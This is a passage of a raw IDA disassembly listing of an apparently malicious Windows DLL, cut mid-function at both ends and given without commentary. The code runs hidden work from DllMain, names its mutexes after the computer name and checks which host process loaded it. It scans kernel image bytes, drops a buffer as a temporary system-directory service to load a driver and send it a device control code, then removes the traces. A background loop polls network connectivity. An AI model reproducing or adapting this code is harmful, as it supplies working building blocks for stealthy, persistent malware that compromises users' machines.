		push	3		; dwCreationDisposition
		push	eax		; lpSecurityAttributes
		push	3		; dwShareMode
		push	ebp		; dwDesiredAccess
		push	edi		; lpFileName
		call	ebx ; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_9A78CE


loc_9A78B7:				; CODE XREF: StartAddress+118j
		xor	ebp, ebp
		push	ebp		; nNumberOfBytesToLockHigh
		push	ebp		; lpFileSizeHigh
		push	esi		; hFile
		call	GetFileSize
		push	eax		; nNumberOfBytesToLockLow
		push	ebp		; dwFileOffsetHigh
		push	ebp		; dwFileOffsetLow
		push	esi		; hFile
		call	LockFile
		jmp	short loc_9A78D0
; ---------------------------------------------------------------------------


loc_9A78CE:				; CODE XREF: StartAddress+12Cj
		xor	ebp, ebp


loc_9A78D0:				; CODE XREF: StartAddress+143j
		call	sub_9A722A
		cmp	eax, 0FFFFFFFEh
		jz	short loc_9A78E4
		push	20h		; int
		push	edi		; lpFileName
		call	sub_9AD15E
		pop	ecx
		pop	ecx


loc_9A78E4:				; CODE XREF: StartAddress+14Fj
		push	offset ServiceName ; lpServiceName
		call	sub_9AC553
		mov	[esp+1ACh+var_1AC], offset dword_9A1554
		call	sub_9AC553
		mov	edi, Sleep
		mov	[esp+1ACh+var_1AC], 3A98h
		call	edi ; Sleep
		lea	eax, [esp+1A8h+WSAData]
		push	eax		; lpWSAData
		push	202h		; wVersionRequested
		call	WSAStartup
		call	sub_9AFE8D
		test	eax, eax
		jz	short loc_9A793B
		push	[esp+1A8h+var_194]
		push	[esp+1ACh+dwFlags]
		call	sub_9B0216
		pop	ecx
		pop	ecx
		call	sub_9A99DA
		call	sub_9AE102


loc_9A793B:				; CODE XREF: StartAddress+197j
		call	sub_9AC2BE
		push	1B7740h		; dwMilliseconds


loc_9A7945:				; CODE XREF: StartAddress+202j
		call	edi ; Sleep


loc_9A7947:				; CODE XREF: StartAddress+1FBj
		push	ebp		; dwReserved
		lea	eax, [esp+1ACh+dwFlags]
		push	eax		; lpdwFlags
		call	InternetGetConnectedState
		test	eax, eax
		jz	short loc_9A7986
		call	sub_9AEECE
		call	sub_9AD569
		push	12h
		pop	ebx


loc_9A7964:				; CODE XREF: StartAddress+1F9j
		push	927C0h		; dwMilliseconds
		call	edi ; Sleep
		push	64h		; int
		mov	esi, offset CriticalSection
		push	esi		; lpCriticalSection
		call	sub_9A8C5D
		push	esi		; lpCriticalSection
		call	sub_9A8BC6
		add	esp, 0Ch
		dec	ebx
		jnz	short loc_9A7964
		jmp	short loc_9A7947
; ---------------------------------------------------------------------------


loc_9A7986:				; CODE XREF: StartAddress+1CCj
		push	0EA60h
		jmp	short loc_9A7945
StartAddress	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A798D(HMODULE hModule)

sub_9A798D	proc near		; CODE XREF: DllMain(x,x,x)+8Ep

Name		= byte ptr -210h
var_111		= byte ptr -111h
Str		= byte ptr -110h
var_10F		= byte ptr -10Fh
var_10		= dword	ptr -10h
ThreadId	= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
hModule		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	3Fh
		xor	eax, eax
		xor	ebx, ebx
		mov	[ebp+Str], bl
		pop	ecx
		lea	edi, [ebp+var_10F]
		rep stosd
		stosw
		stosb
		call	sub_9ACFF6
		call	sub_9AB49A
		push	104h		; nSize
		mov	edi, offset FileName ; "c:\\c.dll"
		push	edi		; lpFilename
		push	[ebp+hModule]	; hModule
		call	GetModuleFileNameA
		push	1		; int
		push	offset aUmservicesstat ; "umServicesStatusW"
		mov	byte_9BAF6B, bl
		call	sub_9AC5D7
		pop	ecx
		pop	ecx
		lea	eax, [ebp+ThreadId]
		push	eax		; nSize
		lea	eax, [ebp+Str]
		mov	esi, 100h
		push	eax		; lpBuffer
		mov	[ebp+ThreadId],	esi
		call	GetComputerNameA
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	strlen
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		call	sub_9A9237
		mov	dword_9BAF74, eax
		xor	eax, 2F53508Bh
		push	eax		; Seed
		call	srand
		call	rand
		push	3
		pop	ecx
		cdq
		idiv	ecx
		add	edx, 6
		push	edx
		push	offset aMarnwkcw ; "marnwkcw"
		call	sub_9AC642
		call	sub_9AC50B
		push	7
		push	dword_9BAF74
		lea	eax, [ebp+Name]
		push	offset Format	; "SCManagerW"
		push	esi		; Count
		push	eax		; Dest
		call	_snprintf
		add	esp, 2Ch
		lea	eax, [ebp+Name]
		push	eax		; lpName
		push	ebx		; bInitialOwner
		push	ebx		; lpMutexAttributes
		mov	[ebp+var_111], bl
		call	CreateMutexA
		mov	hObject, eax
		call	GetLastError
		mov	[ebp+var_8], eax
		call	GetCommandLineA
		mov	esi, StrStrIA
		push	offset Srch
		push	eax
		mov	[ebp+var_4], eax
		call	esi ; StrStrIA
		test	eax, eax
		jz	loc_9A7B29
		call	sub_9A72CA
		cmp	[ebp+var_8], 0B7h
		mov	[ebp+var_10], eax
		jz	short loc_9A7B03
		cmp	[ebp+var_8], 5
		jz	short loc_9A7B03
		push	hObject		; hObject
		call	CloseHandle
		call	sub_9A74E1
		test	eax, eax
		jz	short loc_9A7B03
		xor	edi, edi


loc_9A7AD3:				; CODE XREF: sub_9A798D+174j
		push	0BB8h		; dwMilliseconds
		call	Sleep
		lea	eax, [ebp+Name]
		push	eax		; lpName
		push	ebx		; bInheritHandle
		push	1		; dwDesiredAccess
		call	OpenMutexA
		test	eax, eax
		jnz	short loc_9A7B03
		call	GetLastError
		cmp	eax, 5
		jz	short loc_9A7B03
		inc	edi
		cmp	edi, 3
		jl	short loc_9A7AD3


loc_9A7B03:				; CODE XREF: sub_9A798D+127j
					; sub_9A798D+12Dj ...
		cmp	[ebp+var_10], ebx
		jz	short loc_9A7B0F
		call	sub_9A7410
		jmp	short loc_9A7B22
; ---------------------------------------------------------------------------


loc_9A7B0F:				; CODE XREF: sub_9A798D+179j
		push	offset aMarnwkcw ; "marnwkcw"
		push	[ebp+var_4]
		call	esi ; StrStrIA
		test	eax, eax
		jnz	short loc_9A7B22
		call	sub_9AC1ED


loc_9A7B22:				; CODE XREF: sub_9A798D+180j
					; sub_9A798D+18Ej
		push	ebx		; uExitCode
		call	ExitProcess
; ---------------------------------------------------------------------------


loc_9A7B29:				; CODE XREF: sub_9A798D+112j
		call	GetVersion
		cmp	ax, 5
		jnz	short loc_9A7B4F
		push	offset aYsecurity ; "ySecurity"
		push	[ebp+var_4]
		call	esi ; StrStrIA
		test	eax, eax
		jz	short loc_9A7B4F
		call	sub_9AB47D
		call	sub_9AB535
		jmp	short loc_9A7B77
; ---------------------------------------------------------------------------


loc_9A7B4F:				; CODE XREF: sub_9A798D+1A6j
					; sub_9A798D+1B4j
		push	offset aRegopenkeyexw ;	"RegOpenKeyExW"
		push	[ebp+var_4]
		call	esi ; StrStrIA
		test	eax, eax
		jz	short loc_9A7B64
		call	sub_9AB47D
		jmp	short loc_9A7B77
; ---------------------------------------------------------------------------


loc_9A7B64:				; CODE XREF: sub_9A798D+1CEj
		push	offset dword_9A1568
		push	[ebp+var_4]
		call	esi ; StrStrIA
		test	eax, eax
		jz	short loc_9A7B77
		call	sub_9AB4B7


loc_9A7B77:				; CODE XREF: sub_9A798D+1C0j
					; sub_9A798D+1D5j ...
		cmp	[ebp+var_8], 0B7h
		jz	short loc_9A7BA2
		cmp	[ebp+var_8], 5
		jz	short loc_9A7BA2
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		push	ebx		; dwCreationFlags
		push	ebx		; lpParameter
		push	offset StartAddress ; lpStartAddress
		push	ebx		; dwStackSize
		push	ebx		; lpThreadAttributes
		call	CreateThread
		push	eax		; hObject
		call	CloseHandle
		jmp	short loc_9A7BB6
; ---------------------------------------------------------------------------


loc_9A7BA2:				; CODE XREF: sub_9A798D+1F1j
					; sub_9A798D+1F7j
		call	sub_9A722A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_9A7BB6
		push	4		; dwFlags
		push	ebx		; lpNewFileName
		push	edi		; lpExistingFileName
		call	MoveFileExA


loc_9A7BB6:				; CODE XREF: sub_9A798D+213j
					; sub_9A798D+21Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9A798D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; BOOL __stdcall DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)

_DllMain@12	proc near		; CODE XREF: start+4Bp

Name		= byte ptr -14h
hModule		= dword	ptr  8
fdwReason	= dword	ptr  0Ch
lpvReserved	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+fdwReason], ebx
		push	esi
		push	edi
		jnz	loc_9A7C55
		mov	edi, [ebp+lpvReserved]
		test	edi, edi
		jz	short loc_9A7BDA
		mov	[ebp+hModule], edi


loc_9A7BDA:				; CODE XREF: DllMain(x,x,x)+1Aj
		push	[ebp+hModule]	; hLibModule
		call	DisableThreadLibraryCalls
		test	edi, edi
		jz	short loc_9A7C3C
		call	GetCurrentProcessId
		push	eax		; Seed
		call	srand
		call	rand
		push	7
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+Name]
		add	edx, 0Ah
		push	edx
		push	eax
		call	sub_9AC642
		add	esp, 0Ch
		lea	eax, [ebp+Name]
		push	eax		; lpName
		push	0		; bInitialOwner
		push	0		; lpMutexAttributes
		call	CreateMutexA
		mov	esi, eax
		test	esi, esi
		jz	short loc_9A7C3C
		call	GetLastError
		cmp	eax, 0B7h
		jnz	short loc_9A7C3C
		push	esi		; hObject
		call	CloseHandle
		xor	eax, eax
		jmp	short loc_9A7C57
; ---------------------------------------------------------------------------


loc_9A7C3C:				; CODE XREF: DllMain(x,x,x)+2Aj
					; DllMain(x,x,x)+67j ...
		call	GetVersion
		cmp	al, 5
		jb	short loc_9A7C4F
		push	[ebp+hModule]	; hModule
		call	sub_9A798D
		pop	ecx


loc_9A7C4F:				; CODE XREF: DllMain(x,x,x)+89j
		test	edi, edi
		jz	short loc_9A7C55
		xor	ebx, ebx


loc_9A7C55:				; CODE XREF: DllMain(x,x,x)+Fj
					; DllMain(x,x,x)+96j
		mov	eax, ebx


loc_9A7C57:				; CODE XREF: DllMain(x,x,x)+7Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
_DllMain@12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A7C5E	proc near		; CODE XREF: sub_9A7CBF+157p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_9A25D8
		call	__SEH_prolog
		mov	edi, ecx
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_1C], eax
		xor	edx, edx
		mov	[ebp+ms_exc.disabled], edx


loc_9A7C77:				; CODE XREF: sub_9A7C5E+5Bj
		mov	[ebp+var_20], edx
		movzx	ecx, word ptr [edi+6]
		cmp	edx, ecx
		jnb	short loc_9A7CA9
		lea	ecx, [edx+edx*4]
		lea	ecx, [edi+ecx*8+0F8h]
		mov	esi, [ecx+14h]
		cmp	[ebp+arg_0], esi
		jb	short loc_9A7CB8
		mov	ebx, [ecx+10h]
		add	ebx, esi
		cmp	[ebp+arg_0], ebx
		jnb	short loc_9A7CB8
		mov	eax, [ecx+0Ch]
		sub	eax, esi
		add	eax, [ebp+arg_0]
		mov	[ebp+var_1C], eax


loc_9A7CA9:				; CODE XREF: sub_9A7C5E+22j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	nullsub_2
		call	__SEH_epilog
		retn
; ---------------------------------------------------------------------------


loc_9A7CB8:				; CODE XREF: sub_9A7C5E+34j
					; sub_9A7C5E+3Ej
		inc	edx
		jmp	short loc_9A7C77
sub_9A7C5E	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_9A7CBF	proc near		; CODE XREF: sub_9A7E49+64p

VersionInformation= _OSVERSIONINFOA ptr	-0B4h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
Buf2		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 0B4h
		push	esi
		mov	esi, eax
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_9A7E41
		mov	ecx, [ebp+70h+arg_4]
		mov	eax, [esi+3Ch]
		add	ecx, 0FFFFFF08h
		cmp	eax, ecx
		jg	loc_9A7E41
		add	eax, esi
		cmp	dword ptr [eax], 4550h
		mov	[ebp+70h+var_18], eax
		jnz	loc_9A7E41
		lea	eax, [ebp+70h+VersionInformation]
		push	eax		; lpVersionInformation
		mov	[ebp+70h+VersionInformation.dwOSVersionInfoSize], 9Ch
		call	GetVersionExA
		test	eax, eax
		jz	loc_9A7E41
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+70h+VersionInformation.dwMajorVersion], 5
		mov	[ebp+70h+var_10], ebx
		jnz	loc_9A7DA6
		mov	eax, [ebp+70h+arg_4]
		add	eax, 0FFFFFFF7h
		cmp	eax, ebx
		mov	[ebp+70h+Buf2],	0FFh
		mov	[ebp+70h+var_3], 0D6h
		mov	[ebp+70h+var_2], 0C7h
		mov	[ebp+70h+var_1], 5
		mov	[ebp+70h+var_14], eax
		jbe	loc_9A7E3B


loc_9A7D47:				; CODE XREF: sub_9A7CBF+A9j
		push	4		; Size
		lea	eax, [ebp+70h+Buf2]
		push	eax		; Buf2
		lea	eax, [ebx+esi]
		push	eax		; Buf1
		call	memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9A7D64
		cmp	byte ptr [ebx+esi+8], 0Ah
		jz	short loc_9A7D6F


loc_9A7D64:				; CODE XREF: sub_9A7CBF+9Cj
		inc	ebx
		cmp	ebx, [ebp+70h+var_14]
		jb	short loc_9A7D47
		jmp	loc_9A7E3B
; ---------------------------------------------------------------------------


loc_9A7D6F:				; CODE XREF: sub_9A7CBF+A3j
		cmp	ebx, 0FFFFFFFFh
		jz	loc_9A7E3B
		mov	eax, [ebp+70h+var_18]
		mov	esi, [ebx+esi+4]
		sub	esi, [eax+34h]
		cmp	esi, [eax+50h]
		jnb	loc_9A7E3B
		mov	eax, [ebp+70h+arg_0]
		mov	[edi], esi
		mov	[edi+8], eax
		mov	dword ptr [edi+4], 0Ah
		mov	[ebp+70h+var_10], 1
		jmp	loc_9A7E3B
; ---------------------------------------------------------------------------


loc_9A7DA6:				; CODE XREF: sub_9A7CBF+61j
		cmp	[ebp+70h+VersionInformation.dwMajorVersion], 6
		jnz	loc_9A7E3B
		cmp	[ebp+70h+VersionInformation.dwMinorVersion], ebx
		jnz	loc_9A7E3B
		mov	eax, [ebp+70h+arg_4]
		add	eax, 0FFFFFFEFh
		cmp	eax, ebx
		mov	[ebp+70h+var_2], 8Bh
		mov	[ebp+70h+var_1], 15h
		mov	[ebp+70h+var_C], 83h
		mov	[ebp+70h+var_B], 0FAh
		mov	[ebp+70h+var_A], 0Ah
		mov	[ebp+70h+var_9], 0Fh
		mov	[ebp+70h+var_8], 87h
		mov	[ebp+70h+var_14], eax
		jbe	short loc_9A7E3B


loc_9A7DE2:				; CODE XREF: sub_9A7CBF+17Aj
		push	2		; Size
		lea	eax, [ebp+70h+var_2]
		push	eax		; Buf2
		lea	eax, [esi+ebx]
		push	eax		; Buf1
		call	memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9A7E35
		push	5		; Size
		lea	eax, [ebp+70h+var_C]
		push	eax		; Buf2
		lea	eax, [ebx+esi+6]
		push	eax		; Buf1
		call	memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9A7E35
		mov	ecx, [ebp+70h+var_18]
		lea	eax, [ebx+0Bh]
		push	eax
		call	sub_9A7C5E
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_9A7E35
		and	dword ptr [edi+8], 0
		mov	[edi], eax
		mov	eax, [ebx+esi+0Bh]
		mov	[edi+4], eax
		mov	[ebp+70h+var_10], 1


loc_9A7E35:				; CODE XREF: sub_9A7CBF+137j
					; sub_9A7CBF+14Ej ...
		inc	ebx
		cmp	ebx, [ebp+70h+var_14]
		jb	short loc_9A7DE2


loc_9A7E3B:				; CODE XREF: sub_9A7CBF+82j
					; sub_9A7CBF+ABj ...
		mov	eax, [ebp+70h+var_10]
		pop	ebx
		jmp	short loc_9A7E43
; ---------------------------------------------------------------------------


loc_9A7E41:				; CODE XREF: sub_9A7CBF+13j
					; sub_9A7CBF+27j ...
		xor	eax, eax


loc_9A7E43:				; CODE XREF: sub_9A7CBF+180j
		pop	esi
		add	ebp, 70h
		leave
		retn
sub_9A7CBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A7E49	proc near		; CODE XREF: sub_9A812E+5Ap

FileName	= byte ptr -128h
var_25		= byte ptr -25h
hMem		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	118h
		push	offset aCtlsocket ; "ctlsocket"
		call	__SEH_prolog
		and	[ebp+var_1C], 0
		mov	esi, 104h
		push	esi		; uSize
		lea	eax, [ebp+FileName]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA
		push	esi		; Count
		push	offset byte_9A25E4 ; Source
		lea	eax, [ebp+FileName]
		push	eax		; Dest
		call	strncat
		mov	[ebp+var_25], 0
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		lea	eax, [ebp+var_20]
		push	eax		; int
		call	sub_9AC769
		add	esp, 14h
		mov	[ebp+hMem], eax
		test	eax, eax
		jz	short loc_9A7ECD
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+var_20]
		push	[ebp+arg_0]
		mov	edi, [ebp+arg_4]
		call	sub_9A7CBF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_9A7EC0
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A7EC0:				; CODE XREF: sub_9A7E49+6Ej
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		push	[ebp+hMem]	; hMem
		call	GlobalFree


loc_9A7ECD:				; CODE XREF: sub_9A7E49+55j
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9A7E49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A7ED6(LPCSTR	lpServiceName)

sub_9A7ED6	proc near		; CODE XREF: sub_9A7F9D+16Bp

ServiceStatus	= _SERVICE_STATUS ptr -20h
var_4		= dword	ptr -4
lpServiceName	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		xor	esi, esi
		push	0F003Fh		; dwDesiredAccess
		push	esi		; lpDatabaseName
		push	esi		; lpMachineName
		mov	[ebp+var_4], esi
		call	OpenSCManagerA
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_9A7F30
		push	edi
		push	0F01FFh		; dwDesiredAccess
		push	[ebp+lpServiceName] ; lpServiceName
		push	ebx		; hSCManager
		call	OpenServiceA
		mov	edi, eax
		cmp	edi, esi
		mov	esi, CloseServiceHandle
		jz	short loc_9A7F2C
		lea	eax, [ebp+ServiceStatus]
		push	eax		; lpServiceStatus
		push	1		; dwControl
		push	edi		; hService
		call	ControlService
		push	edi		; hService
		mov	[ebp+var_4], eax
		call	DeleteService
		push	edi		; hSCObject
		call	esi ; CloseServiceHandle


loc_9A7F2C:				; CODE XREF: sub_9A7ED6+3Aj
		push	ebx		; hSCObject
		call	esi ; CloseServiceHandle
		pop	edi


loc_9A7F30:				; CODE XREF: sub_9A7ED6+1Ej
		mov	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		leave
		retn
sub_9A7ED6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A7F37(LPCSTR	lpDisplayName,LPCSTR lpBinaryPathName)

sub_9A7F37	proc near		; CODE XREF: sub_9A7F9D+108p

hSCObject	= dword	ptr -4
lpDisplayName	= dword	ptr  8
lpBinaryPathName= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0F003Fh		; dwDesiredAccess
		xor	esi, esi
		push	esi		; lpDatabaseName
		push	esi		; lpMachineName
		call	OpenSCManagerA
		cmp	eax, esi
		mov	[ebp+hSCObject], eax
		jz	short loc_9A7F98
		push	ebx
		push	edi
		push	offset WindowName ; "recv"
		push	esi		; lpServiceStartName
		push	esi		; lpDependencies
		push	esi		; lpdwTagId
		push	esi		; lpLoadOrderGroup
		push	[ebp+lpBinaryPathName] ; lpBinaryPathName
		push	esi		; dwErrorControl
		push	3		; dwStartType
		push	1		; dwServiceType
		push	0F01FFh		; dwDesiredAccess
		push	[ebp+lpDisplayName] ; lpDisplayName
		push	[ebp+lpDisplayName] ; lpServiceName
		push	eax		; hSCManager
		call	CreateServiceA
		mov	edi, CloseServiceHandle
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_9A7F91
		push	esi		; lpServiceArgVectors
		push	esi		; dwNumServiceArgs
		push	ebx		; hService
		call	StartServiceA
		push	ebx		; hSCObject
		mov	esi, eax
		call	edi ; CloseServiceHandle


loc_9A7F91:				; CODE XREF: sub_9A7F37+4Aj
		push	[ebp+hSCObject]	; hSCObject
		call	edi ; CloseServiceHandle
		pop	edi
		pop	ebx


loc_9A7F98:				; CODE XREF: sub_9A7F37+19j
		mov	eax, esi
		pop	esi
		leave
		retn
sub_9A7F37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A7F9D(LPCVOID lpBuffer,DWORD	nNumberOfBytesToWrite,LPVOID lpInBuffer)

sub_9A7F9D	proc near		; CODE XREF: sub_9A812E+73p

PathName	= byte ptr -234h
var_131		= byte ptr -131h
FileName	= byte ptr -130h
ServiceName	= byte ptr -2Ch
BytesReturned	= dword	ptr -0Ch
var_8		= dword	ptr -8
hObject		= dword	ptr -4
lpBuffer	= dword	ptr  8
nNumberOfBytesToWrite= dword ptr  0Ch
lpInBuffer	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 234h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_8], ebx
		call	rand
		push	5
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+ServiceName]
		add	edx, ecx
		push	edx
		push	eax
		call	sub_9AC642
		pop	ecx
		pop	ecx
		push	104h		; uSize
		lea	eax, [ebp+PathName]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA
		mov	esi, GetTempFileNameA
		lea	eax, [ebp+FileName]
		push	eax		; lpTempFileName
		push	ebx		; uUnique
		mov	edi, offset PrefixString ; "ror"
		push	edi		; lpPrefixString
		lea	eax, [ebp+PathName]
		push	eax		; lpPathName
		mov	[ebp+var_131], bl
		call	esi ; GetTempFileNameA
		test	eax, eax
		jnz	short loc_9A802B
		lea	eax, [ebp+PathName]
		push	eax		; lpBuffer
		push	104h		; nBufferLength
		call	GetTempPathA
		lea	eax, [ebp+FileName]
		push	eax		; lpTempFileName
		push	ebx		; uUnique
		push	edi		; lpPrefixString
		lea	eax, [ebp+PathName]
		push	eax		; lpPathName
		mov	[ebp+var_131], bl
		call	esi ; GetTempFileNameA


loc_9A802B:				; CODE XREF: sub_9A7F9D+62j
		mov	esi, CreateFileA
		push	ebx		; hTemplateFile
		push	80h		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	ebx		; lpSecurityAttributes
		push	6		; dwShareMode
		mov	edi, 0C0000000h
		push	edi		; dwDesiredAccess
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	esi ; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+hObject], eax
		jnz	short loc_9A805A
		xor	eax, eax
		jmp	loc_9A8129
; ---------------------------------------------------------------------------


loc_9A805A:				; CODE XREF: sub_9A7F9D+B4j
		lea	eax, [ebp+FileName]
		push	120136h		; int
		push	eax		; lpFileName
		call	sub_9AD15E
		pop	ecx
		pop	ecx
		push	ebx		; lpOverlapped
		lea	eax, [ebp+BytesReturned]
		push	eax		; lpNumberOfBytesWritten
		push	[ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
		push	[ebp+lpBuffer]	; lpBuffer
		push	[ebp+hObject]	; hFile
		call	WriteFile
		test	eax, eax
		jz	loc_9A8110
		mov	eax, [ebp+nNumberOfBytesToWrite]
		cmp	[ebp+BytesReturned], eax
		jnz	short loc_9A8110
		push	[ebp+hObject]	; hObject
		call	CloseHandle
		lea	eax, [ebp+FileName]
		push	eax		; lpBinaryPathName
		lea	eax, [ebp+ServiceName]
		push	eax		; lpDisplayName
		call	sub_9A7F37
		pop	ecx
		mov	[ebp+hObject], eax
		pop	ecx
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	DeleteFileA
		cmp	[ebp+hObject], ebx
		jz	short loc_9A8126
		push	ebx		; hTemplateFile
		push	80h		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	ebx		; lpSecurityAttributes
		push	ebx		; dwShareMode
		push	edi		; dwDesiredAccess
		push	(offset	WindowName+4) ;	lpFileName
		call	esi ; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_9A8104
		push	ebx		; lpOverlapped
		lea	eax, [ebp+BytesReturned]
		push	eax		; lpBytesReturned
		push	ebx		; nOutBufferSize
		push	ebx		; lpOutBuffer
		push	0Ch		; nInBufferSize
		push	[ebp+lpInBuffer] ; lpInBuffer
		push	9C402000h	; dwIoControlCode
		push	esi		; hDevice
		call	DeviceIoControl
		test	eax, eax
		jz	short loc_9A80FD
		mov	[ebp+var_8], 1


loc_9A80FD:				; CODE XREF: sub_9A7F9D+157j
		push	esi		; hObject
		call	CloseHandle


loc_9A8104:				; CODE XREF: sub_9A7F9D+13Bj
		lea	eax, [ebp+ServiceName]
		push	eax		; lpServiceName
		call	sub_9A7ED6
		pop	ecx
		jmp	short loc_9A8126
; ---------------------------------------------------------------------------


loc_9A8110:				; CODE XREF: sub_9A7F9D+E6j
					; sub_9A7F9D+F2j
		push	[ebp+hObject]	; hObject
		call	CloseHandle
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	DeleteFileA


loc_9A8126:				; CODE XREF: sub_9A7F9D+122j
					; sub_9A7F9D+171j
		mov	eax, [ebp+var_8]


loc_9A8129:				; CODE XREF: sub_9A7F9D+B8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9A7F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_9A812E	proc near		; CODE XREF: sub_9A7170+9Ap

VersionInformation= _OSVERSIONINFOA ptr	-0A8h
var_14		= word ptr -14h
InBuffer	= byte ptr -0Ch

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 0A8h
		lea	eax, [ebp+78h+VersionInformation]
		push	eax		; lpVersionInformation
		mov	[ebp+78h+VersionInformation.dwOSVersionInfoSize], 9Ch
		call	GetVersionExA
		test	eax, eax
		jz	short loc_9A81AB
		cmp	[ebp+78h+VersionInformation.dwMajorVersion], 5
		jnb	short loc_9A8159
		xor	eax, eax
		inc	eax
		jmp	short loc_9A81AD
; ---------------------------------------------------------------------------


loc_9A8159:				; CODE XREF: sub_9A812E+24j
		jnz	short loc_9A817F
		xor	eax, eax
		inc	eax
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 0
		jz	short loc_9A81AD
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], eax
		jnz	short loc_9A8172
		cmp	[ebp+78h+var_14], 2
		jnb	short loc_9A817F
		jmp	short loc_9A81AD
; ---------------------------------------------------------------------------


loc_9A8172:				; CODE XREF: sub_9A812E+39j
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 2
		jnz	short loc_9A817F
		cmp	[ebp+78h+var_14], 0
		jz	short loc_9A81AD


loc_9A817F:				; CODE XREF: sub_9A812E:loc_9A8159j
					; sub_9A812E+40j ...
		lea	eax, [ebp+78h+InBuffer]
		push	eax
		push	10000000h
		call	sub_9A7E49
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A81AB
		lea	eax, [ebp+78h+InBuffer]
		push	eax		; lpInBuffer
		push	1000h		; nNumberOfBytesToWrite
		push	offset aServicew ; "ServiceW"
		call	sub_9A7F9D
		add	esp, 0Ch
		jmp	short loc_9A81AD
; ---------------------------------------------------------------------------


loc_9A81AB:				; CODE XREF: sub_9A812E+1Ej
					; sub_9A812E+63j
		xor	eax, eax


loc_9A81AD:				; CODE XREF: sub_9A812E+29j
					; sub_9A812E+34j ...
		add	ebp, 78h
		leave
		retn
sub_9A812E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

